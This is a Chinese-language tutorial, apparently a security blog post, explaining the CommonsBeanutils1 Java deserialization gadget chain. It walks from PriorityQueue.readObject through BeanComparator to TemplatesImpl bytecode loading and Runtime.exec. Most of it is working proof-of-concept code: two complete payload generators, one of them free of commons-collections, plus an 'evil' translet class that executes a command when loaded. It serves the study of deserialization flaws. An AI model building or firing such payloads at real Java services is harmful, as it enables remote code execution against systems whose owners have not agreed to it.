本文默认你已经学习了cc链子
依赖于cc链的构造
这是cc链子中使用字节码来进执行任意命令的利用链子.
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
TransformingComparator和InvokerTransformer都是cc链中所特有的.那么我们的目标即找到一个类的compare()方法可以调用到TemplatesImpl的newTransformer()方法.但我们注意到TemplatesImpl的 getOutputProperties()方法本身就调用了newTransformer()方法.
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
那么我们的目标就寻找调用了 getOutputProperties()的方法.同时观察getOutputProperties方法名,这是一个javaben类的属性获取方法.同时
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,比如
PropertyUtils.getProperty(new Cat(), "name");
那么我们找commons-beanutils中存在的compare()方法.在BeanComparator类中存在compare方法.
public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
那么我们的思路就打通了,通过BeanComparator类中存在的compare方法实现直接对getOutputProperties()方法的调用.
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
// final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
public evil() throws Exception {
String[] var1 = new String[]{"cfw"};
Runtime.getRuntime().exec(var1);
}
}
但是这个还是依赖于cc链的,因为我们如果初始化的参数如果为null,就会调用cc链中的ComparableComparator类.
import org.apache.commons.collections.comparators.ComparableComparator;
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
那么我们寻找一下ComparableComparator的最终逻辑处理类.
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
无依赖于cc链的构造
那么这个comparator的要求就明确了
- 实现 java.util.Comparator接口(Comparator comparator)
- 实现java.io.Serializable接口(要进行序列化)
- Java,或commons-beanutils自带
经过一个简单查找即可发现CaseInsensitiveComparator类,且可以通过CASE_INSENSITIVE_ORDER获取.
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
同时还有其他很多的类我们可以利用如
private static final InsensitiveComparator INSTANCE = new InsensitiveComparator();
private static final class InsensitiveComparator implements Comparator<String>, Serializable {
使用反射获取后也是可以利用的
最终poc
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.ws.transport.Headers;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的Field对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//BeanComparator comparator = new BeanComparator();
final BeanComparator comparator = new BeanComparator(null, getValue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}